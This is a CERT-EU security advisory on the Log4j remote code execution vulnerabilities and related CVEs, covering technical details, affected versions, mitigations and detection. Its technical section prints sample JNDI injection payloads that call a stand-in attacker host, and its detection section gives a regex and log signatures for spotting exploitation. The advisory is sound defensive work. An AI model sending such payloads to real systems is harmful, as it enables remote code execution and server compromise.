--- licence_title: Creative Commons Attribution 4.0 International (CC-BY 4.0) licence_link: https://creativecommons.org/licenses/by/4.0/ licence_restrictions: https://cert.europa.eu/legal-notice licence_author: CERT-EU, The Cybersecurity Service for the European Union institutions, bodies, offices and agencies title: 'Java Logging Package RCE Vulnerability' version: '1.10' number: '2021-067' date: 'January 29, 2022' --- _History:_ * _10/12/2021 --- v1.0 -- Initial publication_ * _10/12/2021 --- v1.1 -- Improved detection section_ * _13/12/2021 --- v1.2 -- Update affected products section and the recommendations_ * _14/12/2021 --- v1.3 -- Update recommendation section as well as technical details_ * _15/12/2021 --- v1.4 -- Update recommendation section as well as technical details_ * _17/12/2021 --- v1.5 -- Add information about CVE-2021-45046_ * _17/12/2021 --- v1.6 -- Update mitigation section_ * _18/12/2021 --- v1.7 -- Add information about new CVEs and the new attack surface_ * _23/12/2021 --- v1.8 -- Update affected versions_ * _30/12/2021 --- v1.9 -- Add information about CVE-2021-44832_ * _29/01/2022 --- v1.10 -- Add log4j 1.x vulnerabilities_ # Summary On December 9th, information about a critical unauthenticated RCE vulnerability (**CVE-2021-44228**) that is affecting the well-known Java logging package **Log4j** used by many popular applications and web services [9, 10] was tweeted [1] along with a proof-of-concept (PoC) posted on GitHub [2]. This vulnerability could allow the attacker a full control of the affected server, if a user-controlled string is logged. Since it is easy to be exploited, the impact of this vulnerability is quite severe [3]. **Reports from online users show that this is being actively exploited in the wild!** Furthermore, an additional vulnerability was subsequently found (**CVE-2021-45046**) impacting also certain non-default configurations of version 2.15.0 and below of Log4j library. On December 17th, the severity rating of the **CVE-2021-45046** vulnerability has changed from 3.7 to 9 out of 10 [13]. Initially described as a Denial-of-Service (DoS), the vulnerability impact assessment has changed and could lead to Remote Code Execution under certain conditions. A third vulnerability (**CVE-2021-45105**) has been found on December 17th impacting also certain non-default configurations of version 2.16 and below of the Log4j library. This vulnerability, with a severity score of 7.5 out of 10, could lead to additional DoS conditions [13]. Another vulnerability (**CVE-2021-4104**), with a severity score 8.1 out of 10, has been discovered on December 14th [14] affecting a non-default configuration of the version 1.2 of the Log4j library. This vulnerability could lead to remote code execution. On December 16th, security researchers documented also a new attack vector, using WebSockets, that expends the attack surface for these vulnerabilities [15]. Anyone running a vulnerable version of Log4j library on its machine or in the local network could browse a website and potentially trigger the vulnerability. This includes services running Log4j and listening only on `localhost` port. On December 28th, new fixes have been released to address the vulnerability `CVE-2021-44832` with a severity score 6.6 out of 10 [13]. This vulnerability could allow an attacker, **with control over the configuration file**, to achieve remote code execution on the server. Finally, recently, on January 18th 2022, Apache released information about vulnerabilities affecting `log4j` library version 1 [16]. Since Log4j 1 is no longer maintained none of the issues will be fixed. # Technical Details ## CVE-2021-44228 When the server logs the data containing the malicious payload (e.g., `${jndi:ldap://attacker[.]com/a}`) in the request (sent by a user via any protocol), the Log4j vulnerability is triggered by this payload and the server makes a request to `attacker.com` via Java Naming and Directory Interface (JNDI). This response contains a path to a remote Java class file^[e.g., `http://second-stage.attacker[.]com/Exploit.class`], which is injected into the server process. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code [3]. Attackers might also deliver additional malware by leveraging the RCE with a persistent `.jar` file running and listening for incoming special crafted requests^[e.g., `${jndi:ldap://attacker[.]com/Basic/Command/Base64/}` [12]]. Those requests would trigger the expected functionality that the malicious `.jar` file, which is already running, may offer. ## CVE-2021-45046 In certain non-default configurations, the patch introduced in Apache Log4j 2.15.0 is incomplete. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, `$${ctx:loginId}`), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI lookup pattern, resulting in an information leak and remote code execution in some environments, and local code execution in all environments [13]. Remote code execution has been demonstrated on macOS, but no other tested environments yet. ## CVE-2021-45105 In certain non-default configurations, Apache Log4j2 does not protect from uncontrolled recursion from self-referential lookups. An attacker with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process, and thus, create denial-of-service conditions [13]. ## CVE-2021-44832 If attackers obtain write access to the Log4j configuration, they can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. ## CVE-2021-4104 If attackers obtain write access to the Log4j configuration, they can provide `TopicBindingName` and `TopicConnectionFactoryBindingName` configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to `CVE-2021-44228` [14]. This issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end-of-life in August 2015 and **will not be patched**. ## CVE-2022-23302 This vulnerability is affecting JMSSink which is present in all versions of Log4j 1.x. This component is vulnerable to deserialisation of untrusted data when the attacker has write access to the Log4j configuration or if the configuration references an LDAP service the attacker has access to. The attacker can provide a `TopicConnectionFactoryBindingName` configuration causing JMSSink to perform JNDI requests that result in remote code execution in a similar fashion to `CVE-2021-4104`. Note this issue only affects Log4j 1.x when specifically configured to use JMSSink, which is **not the default**. ## CVE-2022-23305 By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be inserted are converters from PatternLayout. The message converter, `%m`, is likely to always be included. This allows attackers to manipulate the SQL by entering crafted strings into input fields or headers of an application that are logged allowing unintended SQL queries to be executed. Note this issue only affects Log4j 1.x when specifically configured to use the JDBCAppender, which is **not the default**. ## CVE-2022-23307 `CVE-2022-23307` is a **critical severity** (severity score 10 out of 10) against the chainsaw component in Log4j 1.x. This is the same issue corrected in `CVE-2020-9493` [17] fixed in Chainsaw 2.1.0 but Chainsaw was included as part of Log4j 1.2.x. # Affected Products **CVE-2021-44228** vulnerability affects systems and services that use the Java logging library, Apache Log4j between versions `2.0-beta9` and `2.14.1` are affected by this vulnerability. **CVE-2021-45046** vulnerability affects systems and services that use the Java logging library, for Apache Log4j versions from `2.0-beta9` to `2.15.0`, excluding `2.12.2`(Java 7). **CVE-2021-45105** vulnerability affects systems and services that use the Java logging library, for Apache Log4j versions from `2.0-beta9` to `2.16.0`, excluding `2.3.1` (Java 6) and `2.12.3` (Java 7). **CVE-2021-44832** vulnerability affects systems and services that use the Java logging library, for Apache Log4j versions from `2.0-alpha7` to `2.17.0`, excluding `2.3.2` (Java 6) and `2.12.4` (Java 7). **CVE-2021-4104** vulnerability affects systems and services that use the Java logging library, for Apache Log4j version `1.2`. **CVE-2022-23302** vulnerability affects systems and services that use the Java logging library, for Apache Log4j versions `1.x`. **CVE-2022-23305** vulnerability affects systems and services that use the Java logging library, for Apache Log4j version `1.2`. **CVE-2022-23307** vulnerability affects systems and services that use the Java logging library, for Apache Log4j version `1.2`. The scope includes many applications and services written in Java. While the version 1.x of Apache Log4j is not vulnerable in its **default configuration**^[The vulnerability only exists if JNDI is enabled in the JMS Appender component, or if JMSSink component is enabled, or if JDBCAppender component is enabled.] to `CVE-2021-44228`, `CVE-2021-45046`, `CVE-2021-45105`, `CVE-2021-44832`, `CVE-2022-23302`, and `CVE-2022-23305`, it is no longer maintained and is exposed to other vulnerabilities (such as `CVE-2021-4104`, `CVE-2022-23302`, `CVE-2022-23305`, and `CVE-2022-23307`). Thus, it is not recommended to use this version. Trusted peers try to maintain a list of all products, services and components that use the vulnerable library as well as their patch availability status [9]. # Recommendations CERT-EU strongly recommends to check all servers for the use of the vulnerable `Log4j` library. CERT-EU also strongly recommends to upgrade Log4j library to `Log4j-2.17.1` [4] or later. Please keep in mind that this version requires Java 8 or later. When the upgrade is not possible, it is recommended to apply mitigations. It is strongly discourage to use the version 1 of the `log4j` library. It is advised to use an up-to-date version of Java as it brings restrictions to JDNI calls based on `LDAP` and `RMI`. However, while these restrictions make exploitation more difficult, it is still possible to bypass these restrictions, so the upgrade to unaffected version of `Log4j` library is still required. If an Internet facing vulnerable application is found, it is strongly recommended to: - isolate the resource from the rest of the internal network; - analyse the machine against any persistent compromise. ## Scanning As the `Log4j` library is used by numerous products, the complete scope could be very difficult to define. To help analysts, trusted peers are maintaining a list of tools and scripts that aim at detecting the use of `Log4j` library [10] via external scans, but also directly on the servers. Some of the listed tools also provide mitigation capabilities. ## Mitigations In the previous advisories, it was mentioned to start Java applications with `Log4j2.formatMsgNoLookups` option set to _True_ or to modify pattern layout to `%m{nolookups}` instead of `%m`. This mitigation is no longer considered as safe and **should not by applied anymore** [13] (See _Older (discredited) mitigation measures_ section of the reference). ### Remove the Vulnerable JNDI Class Another way to mitigate the vulnerability is to remove the affected `JndiLookup` class from the JAR package, as in most environments JNDI lookup feature will not be used. However, this might impact applications and prevent it from running correctly. To do so, you will need to: - shutdown running JVM process; - backup the original JAR archive; - create the same JAR archive and remove the `org/apache/logging/Log4j/core/lookup/JndiLookup.class` entry; - restart JVM. ### Use Web Application Firewall (WAF) and Intrusion Detection System (IDS) IDS and Web Application Firewall (WAF) signatures are also available to detect and block most of exploitation attempts [8]. Trusted partners maintain a list of intelligence sources that contains IDS and WAF rules that might be used in order to mitigate risks [11]. _Please note that some attackers are able to **bypass such detection rules** by obfuscating the payload._ ### Other Mitigations CERT-EU also recommends preventing servers from performing outgoing network requests when not needed (or at least whitelist remote endpoints). ## Detection ### Reverse proxy, WAF and web-server logs In order to identify exploit attempts, one could look the entries matching the following regex (using `egrep` or `Powershell` for example) [11]: ``` \${(\${(.*?:|.*?:.*?:-)('|"|`)*(?1)}*|[jndi:lapsrm]('|"|`)*}*){9,11} ``` Some attackers successfully obfuscate the payloads to evade such detection, though [6]. Thus, the commands above might not detect the most advanced exploitation attempts. ### Application Logs A presence of the following signatures in the logs is a sign of likely compromise of the application [11]: ``` com.sun.jndi. com.sun.jndi.dns.DnsContext com.sun.jndi.ldap.LdapCtx Error looking up JNDI resource ``` Analyst might want to look in the application logs for the presence of these strings. ### Yara Rules Yara rules are available to scan for the presence of the vulnerable library, but also for potentially compromised machines [8, 18]. ### Indicators of Compromise Trusted peers maintain a list of sources that publish Indicators of Compromise that could help analysts identifying vulnerable or compromised assets [7]. # References [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17]